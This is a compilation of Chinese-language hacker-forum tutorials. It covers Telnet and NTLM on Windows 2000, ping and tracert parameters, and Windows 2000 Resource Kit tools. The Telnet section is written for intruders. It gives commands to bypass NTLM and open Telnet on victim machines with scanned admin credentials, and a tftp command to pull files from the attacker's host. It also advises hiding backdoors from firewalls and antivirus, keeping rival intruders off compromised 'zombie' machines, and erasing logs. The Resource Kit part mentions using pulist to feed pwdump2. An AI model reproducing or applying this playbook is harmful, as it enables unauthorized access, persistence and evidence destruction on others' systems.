Telnet选项的范围很广：一些选项扩充了大方向的功能，而一些选项制涉及一些微小细节。例如：有一个选项可以控制Telnet是在半双工还是全双工模式下工作（大方向）；还有一个选项允许远地机器上的服务器决定用户终端类型（小细节）。

Telnet选项的协商方式也很有意思，它对于每个选项的处理都是对称的，即任何一端都可以发出协商申请；任何一端都可以接受或拒绝这个申请。另外，如果一端试图协商另一端不了解的选项，接受请求的一端可简单的拒绝协商。因此，有可能将更新，更复杂的Telnet客户机服务器版本与较老的，不太复杂的版本进行交互*作。如果客户机和服务器都理解新的选项，可能会对交互有所改善。否则，它们将一起转到效率较低但可工作的方式下运行。所有的这些设计，都是为了增强适应异构性，可见Telnet的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西，虽然我们在Telnet的使用过程中很难接触到这一层面，但我认为了解这些是有意义的，它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。
（本系列教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区 http://ccbirds.yeah.net）
四 Win2000的Telnet服务

其实从应用层面上，Win2000的Telnet服务并没有什么可说的，绝大部分内容你都可以从HELP文件中得到，我在此只是把它稍微整理一下而已。
1 基本配置
Win2000为我们提供了Telnet客户机和服务器程序：Telnet.exe是客户机程序（Client），tlntsvr.exe是服务器程序（server），同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务，但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置：

AllowTrustedDomain：是否允许域用户访问。默认值是1，允许信任域用户访问。可以改为0: 不允许域用户访问（只允许本地用户）。

DefaultDomain：可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell：显示 shell 安装的路径位置。默认值是： %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins：在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript：显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”，你可以更改脚本内容，这样登录进Telnet的欢迎屏幕就不一样了。

NTLM：NTLM身份验证选项。默认是2。可以有下面这些值：
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证，如果失败，再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort：显示 telnet 服务器侦听 telnet 请求的端口。默认是：23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe（Telnet服务器管理程序）来进行非常方便的配置，配置后需要重新启动Telnet服务。如图1
2 NTLM
提到了telnet就不能不提NTLM，我想这也是让入侵者最为头痛的一件事，哪怕你获得了管理员帐号和密码，想简单通过NTLM也并非易事，况且win2000中的telnet默认仅以NTLM方式验证身份，这就让我们不得不关注NTLM这个东东，那么什么是NTLM呢？

早期的SMB协议在网络上明文传输口令，后来出现了"LAN Manager Challenge/Response"验证机制，简称LM，它十分简单以至很容易被破解，微软随后提出了WindowsNT挑战/响应验证机制，即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的：

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输
3、服务器产生一个16位的随机数字发送给客户端，作为一个 challenge（挑战）
4、客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应）
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西，发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ，如果一样，那么认证成功。

从上面的过程我们可以看出，NTLM是以当前用户的身份向Telnet服务器发送登录请求的，而不是用你扫到的对方管理员的帐户和密码登录，显然，你的登录将会失败。举个例子来说，你家的机器名为A（本地机器），你入侵的机器名为B（远地机器），你在A上的帐户是xinxin，密码是1234，你扫到B的管理员帐号是Administrator，密码是5678，当你想Telnet到B时，NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项*作，即用xinxin和1234，而并非用你扫到的Administrator和5678，且这些都是自动完成的，根本不给你插手的机会，因此你的登录*作将失败。

由于Telnet服务器对NTLM的使用有3个选项，所以当你Telnet远地机器时，会显示下面情况中的一种：

1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\为0时不使用NTML身份验证，直接输入用户名和密码，比如你可以输入扫到的Administrator和5678
2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\先尝试 NTLM 身份验证，如果失败，再使用用户名和密码，其实这种方式对于我们来说，与上一种方式没什么区别
3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>

\仔细看看上面的显示，根本没有给你输入用户名和密码的机会，直接断开连接，扫到了密码也是白扫

所以对于入侵者来说，NTLM是横在我们面前的一座大山，必须要除掉它，一般我们有如下几种方法：

1通过修改远程注册表更改telnet服务器配置，将验证方式从2改为1或0；
2使用NTLM.exe，上传后直接运行，可将telnet服务器验证方式从2改为1；
3在本地建立扫描到的用户，以此用户身份开启telnet客户机并进行远程登录；
4使用软件，比如opentelnet.exe（需要管理员权限且开启IPC管道）
5使用脚本，如RTCS，（需要管理员权限但不依赖IPC管道）

基本上是以上的5种，其中后两种是我们比较常用的开telnet的手法，而且使用方法十分简单，命令如下：

OpenTelnet.exe \server username password NTLMAuthor telnetport
OpenTelnet.exe \服务器地址 管理员用户名 密码 验证方式（填0或1） telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>
五 在telnet中该做什么

本来写到上面就想结束了，不过许多朋友都说telnet上去后不知道该做什么了，既然这样，那我就抛砖引玉吧，这次不讲具体做法，只是说说思路，什么？为什么不讲具体做法？篇幅不够嘛，以后我会一一解释的。
1 查看系统信息
呵呵，其实就是随处看看，看看他的系统配置和版本（用type c:\boot.ini来知道pro版或server版），看看都装了什么服务或软件（从目录名就可以知道了），看看有什么重要或有趣的文件啦（唉，要是国外的机器，看也看不懂），看看他的用户情况，总之就是尽可能多的了解系统，为一会装后门摸底。
2 使用tftp传送文件
想必大家都遇到过在telnet中传输文件的问题，因为我们习惯了在ipc管道中的文件传输，所以有些朋友喜欢用net share ipc$ 来打开管道，进而利用copy来传输文件。不过这样反而麻烦，既然我们已经得到了shell，我们可以用TFPT命令来完成这一切，什么是TFTP呢？
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输，一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的： 首先运行本地的TFTP Server（比如tftpd32.exe）软件并保证始终开启直至传输全部完成， 然后在telnet中（当然你也可以在其他shell中）运行下面的命令：
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip，且上传文件要与TFTP服务器端在同一目录下，这样你就可以把xinxin.exe上传到c盘abc目录下了（其实是从tftp服务器下载来的）

需要指出的是，如果使用代理IP，你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中，代替你的内部网络地址，所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。
3 安置后门
安置后门放在第二步好像早了点，如果你入侵还有其他目的，比如以破坏为主，或者是来修改主页的，那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧。

后门的种类繁多，也给我们提供了很大的选择余地，能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有：木马，asp木马，远程控制软件，克隆帐户，建立并隐藏帐户，telnet，telnet扩展的shell，终端服务等。安置一个好的后门通常要注意以下几点：

1 不会被防火墙查杀及阻碍通信：被加入病毒库的后门最好加壳以逃过防火墙，尽量用低端口通信，以免被防火墙屏蔽。

2 最大限度增加隐蔽性：如果你选择远程控制软件，要注意被控端的安装提示和小图标，以及是否同步画面；如果你在帐户上做文章，要尽量保持在cmd和用户管理中都不出破绽；如果你选择放木马或telnet扩展，要注意文件和进程的隐藏；如果新开了终端服务（入侵前并没有开），一定要该掉3389这个显眼的端口，且越低越好。

3 不要当管理员不存在：这是一个大忌，许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户，真是无知者无畏呀。所以安置后门的时候，想想管理员疏忽的地方会在哪里。
4 打补丁
如果想独霸肉鸡，就要会打补丁，要知道对肉鸡的竞争是很激烈的。怎么打补丁呢？这个也要问？想想你是怎么进来的吧。算了，提示一下，除了修补大的漏洞以外（上传官方补丁并运行），也要注意它的共享，ipc$共享（最好都关闭），可疑端口，容易被利用的服务等。不过打补丁也要注意隐蔽性的，不要让管理员发现大的改动。
5 清除日志
可以手动或利用软件，如果不太会就去找相关教材吧，在这里我不详细介绍了。
六 结束语
文章的前部分主要说了一些原理性的东西，后部分则侧重于应用，写的多了难免会有些遗漏，如果你觉得哪里还需要补充，或者哪里不明白，请回帖告诉我哟！！

本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处


ping的参数
    Ping 命令可以用来验证与远程计算机的连接。(该命令只有在安装了TCP/IP协议后才能使用)

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r
count] [-s count] [[-j computer-list] | [-k computer-list]] [-w
timeout] destination-list

参数说明：
-t ：一直Ping指定的计算机,直到从键盘按下Control-C中断。
-a ：将地址解析为计算机NetBios名。
-n ：发送count指定的ECHO数据包数。，通过这个命令可以自己定义发送的个数，对衡量网络速度很有帮助。能
够测试发送数据包的返回平均时间，及时间的快慢程度。默认值为 4。
-l ：发送指定数据量的ECHO数据包。默认为 32 字节；最大值是65500byt。
-f ：在数据包中发送“不要分段”标志,数据包就不会被路由上的网关分段。通常你所发送的数据包都会通过路由分
段再发送给对方，加上此参数以后路由就不会再分段处理。
-i ：将“生存时间”字段设置为TTL指定的值。指定TTL值在对方的系统里停留的时间。同时检查网络运转情况的。
-v ：tos 将“服务类型”字段设置为 tos 指定的值。
-r ：在“记录路由”字段中记录传出和返回数据包的路由。通常情况下，发送的数据包是通过一系列路由才到达目
标地址的，通过此参数可以设定，想探测经过路由的个数。限定能跟踪到9个路由。
-s ：指定 count 指定的跃点数的时间戳。与参数-r差不多，但此参数不记录数据包返回所经过的路由，最多只记
录4个。
-j ：利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源) IP 允许的
最大数量为 9。
-k ：computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格

源)IP 允许的最大数量为 9。
-w：timeout 指定超时间隔，单位为毫秒。
destination-list： 指定要 ping 的远程计算机。
一般情况下，通过ping目标地址，可让对方返回TTL值的大小，通过TTL值可以粗略判断目标主机的系统类型是Windows还是UNIX/Linux，一般情况下Windows系统返回的TTL值在100-130之间，而UNIX/Linux系统返回的TTL值在240-255之间。但TTL的值是可以修改的。故此种方法可作为参考.
一般操作方法如下：

C:\>ping www.yahoo.com

Pinging www.yahoo.akadns.net [66.218.71.81] with 32 bytes of data:

Reply from 66.218.71.81: bytes=32 time=160ms TTL=41
Reply from 66.218.71.81: bytes=32 time=150ms TTL=41
Reply from 66.218.71.81: bytes=32 time=160ms TTL=41
Reply from 66.218.71.81: bytes=32 time=161ms TTL=41

Ping statistics for 66.218.71.81:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate
round trip times in milli-seconds:
Minimum = 150ms, Maximum = 161ms, Average = 157ms

--------------------------------------------------------------------------------
Tracerttracert

Tracert 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议(ICMP)
回显数据包发送到目标，以决定到达目标采用的路由。要在转发数据包上的 TTL 之前至少递减 1，必需路径上的每个路由器，所以 TTL
是有效的跃点计数。数据包上的 TTL 到达 0 时，路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送 TTL
为 1 的回显数据包,并在随后的每次发送过程将 TTL递增 1，直到目标响应或 TTL
达到最大值，从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过，有些路由器悄悄地下传包含过期 TTL
值的数据包，而 tracert 看不到。

tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout]
target_name

参数说明：
/d 指定不将地址解析为计算机名。
-h maximum_hops 指定搜索目标的最大跃点数。
-j computer-list 指定沿 computer-list 的稀疏源路由。
-w timeout 每次应答等待 timeout 指定的微秒数。
target_name 目标计算机的名称。

一般操作方法如下：

C:\>tracert www.yahoo.com

Tracing route to www.yahoo.akadns.net [66.218.71.81] over a maximum
of 30 hops:

1 10 ms <10 ms <10 ms 192.168.0.7
2 <10 ms 10 ms <10 ms 210.192.97.129
3 <10 ms 20 ms 10 ms 192.168.200.21
4 <10 ms 10 ms 10 ms 203.212.0.69
5 <10 ms 10 ms 10 ms 202.108.252.1
6 10 ms 10 ms <10 ms 202.106.193.201
7 10 ms 20 ms 20 ms 202.106.193.169
8 <10 ms 10 ms 10 ms 202.106.192.226
9 <10 ms 10 ms 10 ms 202.96.12.45
10 20 ms 30 ms 20 ms p-6-0-r1-c-shsh-1.cn.net [202.97.34.34]
11 20 ms 30 ms 30 ms p-3-0-r3-i-shsh-1.cn.net [202.97.33.74]
12 160 ms 161 ms 160 ms if-7-7.core1.LosAngeles.Teleglobe.net
[207.45.193.73]
13 200 ms 201 ms 200 ms if-4-0.core1.Sacramento.Teleglobe.net
[64.86.83.170]
14 190 ms 190 ms 190 ms if-2-0.core1.PaloAlto.Teleglobe.net
[64.86.83.201]
15 160 ms 160 ms 160 ms ix-5-0.core1.PaloAlto.Teleglobe.net
[207.45.196.90]
16 180 ms 180 ms 160 ms ge-1-3-0.msr1.pao.yahoo.com
[216.115.100.150]
17 170 ms 210 ms 321 ms vl10.bas1.scd.yahoo.com [66.218.64.134]
18 170 ms 170 ms 170 ms w2.scd.yahoo.com [66.218.71.81]


[转载]Windows 2000 Resource Kit工具使用说明

信息来源：www.egamecn.com
概要
Resource Kit实际上是Microsoft为管理员提供的一套额外的工具集，包括了超过400个各种工具，vbs，dll，msc，涵盖了管理TCP/IP，网络，注册表，安全，远程管理，配置，Batch文件，以及操作系统的其他方面。可以让你更容易的管理一个NT系统。不得不承认这是一个非常庞大的工具集，包括到了已经被人们所遗忘2K所应该具有的功能。当你了解到了里面一些工具的性能以后，你将会知道即使仅仅只是一个C2级的操作系统也具有相当的安全性，对于细心配置的系统，攻击也只能伤其表面。但是，但是任何东西都有他的两面性，ResKit就非常具有代表性，在Hacker群体中大家习惯把这个玩意叫做“Hacker的工具箱”。当然如果你想当一个Hacker你得掌握里面的东西，而想当一个好的administrator你也得掌握里面的东西。
这个介绍的内容将会尽量多的写，但是个人能力有限，有什么问题大家赶快提出来进行改正和充实。
第一部分：管理你的计算机
1. Appsec.exe （Application Security）
Appsec.exe是一个基于GUI的应用程序，它允许管理员在一个多用户环境下限制普通用户访问一组网络上经预订的应用程序。启用这种应用程序安全性，将会导致系统拒绝普通用户执行或使用一个未经许可的应用程序。大家看这是不是一个很有用的工具呢？对某些特定的程序进行限制以后，可以减少一些Hacker入侵的可能，下面我们继续讨论
对于2000来说一个显著的特点就是引入了GPO（Group Policy）这种东西，实际上就是一个界面化了的注册表编辑器，但是因为GPO的存在2000大大提高了他的安全性。一般来说，我们可以通过配置GPO从启动菜单和桌面上隐藏一个应用程序，但是不能禁止用户用其它手段访问它，Appsec增加了这种安全性，可以禁止用户执行应用程序甚至是从命令行模式或者使用其他的应用程序。Microsoft的建议是和GPO一起使用，放在Terminal Server上运行或者说是在应用程序运行的机器上使用。
Appsec对于应用程序的限制还算严格，除了应用程序的名称以外还要包括该应用程序的全路径，只有二者都附和才能够运行。
下面提几点注意：
a. 只有管理员或管理员组的成员可以运行所有程序，用户（包括PowerUser组）只能运行列表中的应用程序。
b. Appsec第一次启用时，Terminal Server的会话必须中断，否则Appsec将不能在本次会话中启用。
c. 实际上Appsec只能限制调用CreateProcess方法的应用程序，不能限制使用NTCreateProcess方法的程序，但是这种程序非常的少见。
d. Appsec只能限制32位的程序，但是在默认情况下，一旦启用appsec任何对16位程序的访问都是禁止的，但是可以添加ntvdm.exe来使16位程序可以被访问。
e. 我想这个也是Appsec最大的缺点，Appsec并不对程序本身进行检查，也就是所如果将该有效程序进行替换的话，Appsec不会发现。所以说我们必须禁止用户替换和重命名应用程序，这可以用Security Template来做
f. 还有Appsec只可限制可执行文件，不可以是DLLs。
g. Appsec的使用是对于计算机的，也就是说一经启用使用本机的用户都要受到限制。
另外，应该要提到的一点是，按照Microsoft的要求，Appsec的列表中至少应该有：
\Wtsrv\explorer.exe
\Wtsrv\system32\cmd.exe
\Wtsrv\system32\net.exe
\Wtsrv\system32\regini.exe
\Wtsrv\system32\subst.exe
\Wtsrv\system32\systray.exe
\Wtsrv\system32\xcopy.exe
这么几项。
当然啦！你去掉也是可以的，但是会造成用户难以正常使用。嗯，以我个人的建议，如果你想防止Hacker入侵去掉net.exe会有意想不到的收获，呵呵！cmd.exe也是不错的选择，如果不想管理员以外的任何人访问就统统去掉就好，后果你们试试就知道了。
p.s. 这个程序所需要的文件Appsec.exe（这个倒是在），Appsec.hlp（这个也在），但是Appsec.dll，
psec.cnt，Instappsec.exe并没有包括在Resource Kit里面，要去网站上自己下载！！这简直是搞笑嘛！也
只有Microsoft干得出来。你可以在这个地方下载这个hotfix:
http://download.microsoft.com/download/win2000platform/Appsec/1.0/NT5/EN-US/appsec_hot
fix.exe，安装以后就可以用了。
启用以后，换个用户（不是管理员组）登陆本机随便点个应用程序，你就可以看到Access to specified device, path or file is denied的警告，很厉害的，哈哈！
2. Cachemov.exe (Offline Files Cache Mover)
Cachemov.exe一个有趣的东东，用来移动离线文件的缓存（默认保存在根卷下），如果你觉得那东西在那个地方碍的你事的话，把它挪个地方也没有什么问题。这个工具比较简单就不再多说什么了，就一个GUI，然后选择一个卷，它就自动帮你做完了，很简单。你也可以使用无人值守模式 cachemov -unattend x:\ 电脑自己搞定，此时需要(Cchmvmsg.dll)。所有的结果会保存至应用程序日志。
只是注意一下，运行时需要管理员的身份，还有就是不能够移动到网络驱动器和可移动驱动器上去。移动以后不要改letter，不然你会有麻烦的！
3. Defptr.exe （Default Printer）
如果你闲着没有事的话，可以用用这个东西。它允许你随意改变你的默认打印机，可以在可用的网络和本地打印机间交换，一旦运行以后会在右下角有个小图标（如果不想看到图标可以使用defptr -i), 这个东西可能对漫游用户会有一点好处吧！
4. Delprof.exe（User Profile Deletion Utility）
删除用户的Profile时用的工具，本来这个是可以在System Properties里面做的。而这个工具可以在本地或是远程运行，看起来的好处就是可以指定多长时间不使用就删除，在处理比较多的用户的时候才显得出好处来，就那么个把的话，就自己做好了。稍微介绍一下语法好了。
delprof /q /i /p /c:\\computername /days /?
/q 后台悄悄执行，不用确认。
/i 忽略错误继续删除。
/p 在删除前提示确认。
/c:\\computername 这个不用解释了吧？
/days 指定多少天不使用的Profile就删除，days用整数。
/? 出现上面这些东东。
5. DelSrv.exe （Delete Service）
一个拿来删除服务用的工具，使用起来非常简单，只要delsrv servicename就可以了。没有什么好说的。
6. Dureg.exe （Registry Size Estimator）
这是一个用来评估你的注册表储存了多少数据的工具，可以从任何一个hive，subtree和subkey中读出。另外，这个工具还可以用来搜索注册表中的text字符串，这种搜索还可以具体到某个subtree中。这个工具主要用于得出注册表具体占用空间，对于开发人员和管理员来说都是一个非常有用的工具。虽然我们可以使用控制面板中的System选项和系统监视器中的Registry Quota in Use来监视注册表，但是如果你只想知道某个单独的Key或者是Subkey所占用的空间，上面这些工具就无能为力了。
语法：
dureg /cr /cu /u /lm /a /s│/d "registry_path" "string to search"
/a
表示查找整个注册表的大小。
dureg /a
Size of HKEY_CLASSES_ROOT : 7740324
Size of HKEY_USERS : 995732
Size of HKEY_LOCAL_MACHINE : 17265663
Total Registry data size: 26001719
/cr "registry_path"
默认情况下，返回的是HKEY_CLASSES_ROOT的大小。
/cu "registry_path"
默认情况下，返回的是HKEY_CURRENT_USER的大小。
/lm "registry_path"
默认情况下，返回的是HKEY_LOCAL_MACHINE的大小。
/u "registry_path"
默认情况下，返回的是HKEY_USERS的大小。
以上四个选项都可以在 "registry_path"中填入该Subkey下的任意key。比如：
dureg /lm "software\microsoft",查找HKEY_LOCAL_MACHINE\Software\Microsoft key的大小。
/s "string"
在注册表中搜索该字符串。比如：
dureg /s "run" 寻找和run相关的字符串。当然你也可以和/cr等这几个参数一起使用，比如：dureg /cr
/s "run"。
会看到一大串显示，这里就不写出来了。
7. Elogdmp.exe （Event Log Query Tool）
一个命令行工具用来导出选定的日志中的信息。这是在屏幕上进行显示，最好和Find或者是Findstr这样的工具
一起使用，不然太难找到了。
语法：
elogdmp -? computername eventlogtype
eventlogtype有Application, Security，System三种。
比如： elogdmp hello application
这个工具可以远程使用，但是需要域管理员组或者是本地管理员组的成员才可以使用。
8. Instsrv.exe （Service Installer)
嗯，Instsrv.exe一个命令行工具可以用来安装或者是删除可执行服务（.exe)，当然也可以给它们分配名字的
。
语法：
instsrv Servicename pathtoexecuteable -a accountname -p accountpassword or Servicename
remove
ServiceName
用来显示的名字，比如Alerter。
PathToExecuteable
要安装服务文件的全路径，包括盘符在内。
-a accountname
指定服务运行的帐户。
-p accountpassword
帐户的密码。
servicename remove
指定你想移出的服务。
比如：你想安装一个bbb.exe作为一个bbb的服务。
instsrv bbb "c:\program files\bbb.exe"
默认情况下，我们安装的服务是没有启动的，需要启动。而有些时候需要插入相应的注册表项。
如果想指定这个服务在某个用户下运行：
instsrv bbb "c:\program files\bbb.exe -a hello\bbb -p xxx"
that's OK！
如果要卸在的话: instsrv bbb Remove，注意删除之前要先Stop。
这里我们再提到一个工具Srvinstw.exe，这是一个GUI模式的工具，所以用起来非常的简单，照着提示一步步做就可以了。它和Instsrv.exe的区别是这个东东可以在远程计算机上安装服务。它们都需要administrator 的特权，请记住。
9. intfiltr.exe （Interrupt Filter)
这是一个在多CPU环境下用来调整CPU之间中断关系的工具，可以用来测试最优化的方案。我没有2个这种东西，这个程序就没有进行测试了！那个有的话，帮我试试，告诉我结果。我把它补全。
10. Inuse.exe （File-In-Use Replace Utility）
一个命令行工具可以用来替换被锁定的操作系统文件，比如一些重要的DLL文件。这些文件会在下一次启动的时候被替换，根据微软的说法，这种替换会在下一次启动的Autochk完成之后，创建Paging Files之前。基本上来说，这个一个调试用的工具。该程序需要管理员身份运行。
语法：
insuse -? source destinaion /y
source
你想用来替换的文件。可以使用完整的物理路径或者是UNC路径。
destination
你要替换的文件。
/y
表示确定。
如果你想用一个远程文件来替换一个本地存在的文件可以使用下面的方法。
inuse \\hello\winnt\abc.dll c:\winnt\abc.dll /y
11. Javareg.exe （Java/COM Registration Utility）
命令行工具可以用来注册Java classes，鄙人不懂Java这种高深的东西，连什么是classes都不知道，没有办
法了，这一块就只好％￥＆………了，不好意思。有懂的人帮一下忙好了，呵呵！！
12. Netsvc.exe （Command-line Service Controller）
一个命令行工具，用来控制服务，和SC比较类似，但是在功能上要比后者少很多！用这个工具基本上可以进行远程启动，停止，暂停，继续服务或者查询一个服务的状态。基本上只要你是一个普通用户就可以执行这个命令，当然如果要启动和停止的话，就需要相应的权限了。
当然和SC相比Netsvc有很大的局限性，所以在这里我多说一点和服务有关的东西。
在Win2k虽然你可以对各种服务进行查询，但是并不是所有的服务都可以直接关闭，比如Workstation这个服务，但奇怪的是Workstation这个服务有些时候会莫名其妙的丢失，至今我还不知道原因，一旦丢失以后基本上就需要重装了。我们继续话题，当一个用户有许多活动的连接存在的时候，你只可以查询或者是暂停该服务，而不能远程强迫服务停止。而如果有服务依靠别的服务才能运行的时候，我们也不能直接停止该服务。举一个简单的例子，Clipbook服务需要Network DDE服务才能运行，我们必须先停止CilpBook才能停止Network DDE。
这里还要提到另外一种状况，就是当你停止一个不可以停止的服务的时候Netsvc会报告Service is running，而该服务不能停止的原因有很多种，但是Netsvc并不会报告给你，太惨了！！此外，当一个服务不能被暂停的时候，这个鬼东西仍然会报告给你说Service is running，唉！所以说最好使用SC。
语法：
netsvc command servicename \\computername /?│/help
command可以是以下几个命令：
/list
列出已经安装的服务，这个时候不使用servicename。
/query
查询一个服务的状态。
/start, /stop, /stop, /continue
这几个命令就不用解释了吧？字面意义都已经很清楚了。
最后举两个例子吧！如：
netsvc /list \\hello
netsvc /query \\hello "Alerter"
netsvc Alerter \\hello /pause
更进一步具体的内容可以在SC那里看到，这里不再多说。
13. Now.exe
Reskit里面比较无聊的命令之一，可以在STDOUT（Standard output)上输出一个带时间戳的东东。有点像
ECHO命令。举例说明算了：
当我们打入ECHO bbb的时候，屏幕会显示bbb
C:\>echo bbb
bbb
但是当我们用Now bbb的时候，会输出：
C:\>now bbb
Sat Feb 16 22:31:34 2002 -- bbb
这种东西，不知道有什么用，呵呵！
14. Pathman.exe
一个命令行工具可以修改系统路径和用户路径，当然这个工具还可以用来检查路径中的错误，有多余的头部分号，尾部分号，多个连接得分号，重复的添加和删除，增加重复的路径或是移出一个不存在的路径等等，但是不检查路径的有效性。2K保留了两套路径，一个是统一的全局系统路径，另一组是每个用户个别的用户路径，当然为了保证兼容性，2000仍然保留了从Autoexec.bat装入路径。每个用户可以修改自己的用户路径，而只有管理员可以修改系统路径，为了方便操作，微软就搞出了这个Pathman。
语法：
pathman /as /au /rs /ru path
/as
增加分号隔开的系统路径。
/au
增加分号隔开的用户路径。
/rs
删除分号隔开的系统路径。
/ru
删除分号隔开的用户路径。
当修改完成以后，Pathman会广播信息给所有的顶端窗口提醒它们环境被改变了，这将会导致应用程序升级它们的环境，获得经修改的路径。
举例说明：
添加c:\temp;C:\users\name;d:\utils为用户路径，当然，只是在它们不存在的时侯才添加。这个结果你可
以在System properties的Environment Variable中看到。上面一栏是user的变量，下面是系统变量。
实际上这个工具也有个好处就是添加和删除可以同时操作，你可以：
pathman /au C:\users\name /ru c:\users\name 呵呵！不过没有什么意思！
15. Ptree.exe（Process Tree）
该程序可以允许你在本地或者是远程查询进程树，同样也可以Kill它们。2000默认情况下，允许Local Administrators, Power Users, Users查询这些树，但是只有Local Administrators和Power Users可以Kill进程。
就这个工具而言，它有这么几部分组成ptreedrv.sys（kernel-mode驱动程序），ptreesvc.exe和ptreesvcps.dll（2000的服务的程序，就是所ptree是需要在该计算机上安装一个服务），Ptreesvr.dll(COM+服务端），ptree.exe（控制台客户端），Ptreeg.exe（GUI客户端，推荐使用这个，在 DOS底下看到的东西太少，也不好看，还是GUI爽！而且还可以同时管理多台计算，不错吧！我是挺喜欢的，比Ctrl+Alt+Del出来的那个东西要好得多！）
这个程序并没有和Reskit一起安装，而实在Reskit的目录下生成一个名为Ptree的目录，底下有个ptree.msi
，要点击安装。同时由于这是一个基于COM+的程序，而安装ptreeCOM的时侯，需要MSDTC服务，注意不要把它关了，不然会导致ptree不能正常运行，而且只会提示不能找到服务，后来是查了错误日志才发现的，微软坑人！。我就因为这个弄了好一阵子，呵呵！
使用嘛，很简单，GUI就不用说了，都有提示，说一下命令行模式吧！
ptree -c computer -k│-kt process -?│/?
-c computer
当要管理的是远程主机的时侯才需要用的这个参数，如果是本机就不要啦，直接ptree就可以了。
-k process
干掉后面指定的进程。
这里的process可以是进程的名字也可以是PID。
-kt process
可以干掉整整一棵树。
举例： ptree -c hello 然后出来一大串东西，自己看吧！
16. pulist.exe
命令行工具，和上面那个东西有点类似，和Tlist也有一点像（这东西在Support Tools里面）但是
pulist.exe多一点点好处，可以显示出进程和用户之间的关系。比如：
C:\>pulist
Process PID User
Idle 0
System 8
smss.exe 156 NT AUTHORITY\SYSTEM
csrss.exe 176 NT AUTHORITY\SYSTEM
winlogon.exe 172 NT AUTHORITY\SYSTEM
services.exe 228 NT AUTHORITY\SYSTEM
lsass.exe 240 NT AUTHORITY\SYSTEM
svchost.exe 428 NT AUTHORITY\SYSTEM
spoolsv.exe 452 NT AUTHORITY\SYSTEM
msdtc.exe 480 NT AUTHORITY\SYSTEM
tcpsvcs.exe 604 NT AUTHORITY\SYSTEM
svchost.exe 620 NT AUTHORITY\SYSTEM
llssrv.exe 644 NT AUTHORITY\SYSTEM
nspmon.exe 712 USER1-COMPUTER1\NetShowServices
nscm.exe 724 USER1-COMPUTER1\NetShowServices
当你的计算机有多个处理器时，需要判断安全上下关系的时侯这个工具的用处就体现出来了！如果是远程操作的时候就多加一个pulist \\server就可以了。而且可以顺序显示多个站点pulist \\server \\server………， 但是这个时侯会不显示User。
当你需要专门查找一个已知的进程的时候，可以用这样的方法来简化查找：
pulist │ find "string" 比如，过去老的pwdump2需要知道LSASS的PID，我们可以这样做：
c:\>pulist │ find "LSASS"
LSASS.EXE 252 NT AUTHORITY\SYSTEM
然后使用252来运行pwdump2………
17. Reducer.exe （Reduce Trace Data)
这个东西是一个命令行的事件追踪工具，可以用来处理Tracelog（后面会提到这个工具）产生的记录，形成每个线程，每个进程的工作量记录。实际上呢，Reducer就是一个用来进一步分析工具，比如TraceDump（后面提到）可以允许你对一个追踪日志进行摘要，而Reducer则允许你进行拆分获得更多的细节，诸如： 事务统计表：响应时间，每秒的事务数，每个事务的磁盘读写，每个事务的网络流量，CPU的使用（包括核心和用户空间）。映象统计表：事务有关的每个进程，每个进程相关的线程，每个进程的CPU使用（包括kernel和user)，每个进程的磁盘读写，每个进程的网络流量。磁盘信息：总的磁盘读写，每个进程的磁盘读写。
OK，接下来介绍一下语法。
语法非常简单：
reducer -out filename -h│-help│-?
-out filename
输出的文件的名字，默认是Workload.txt
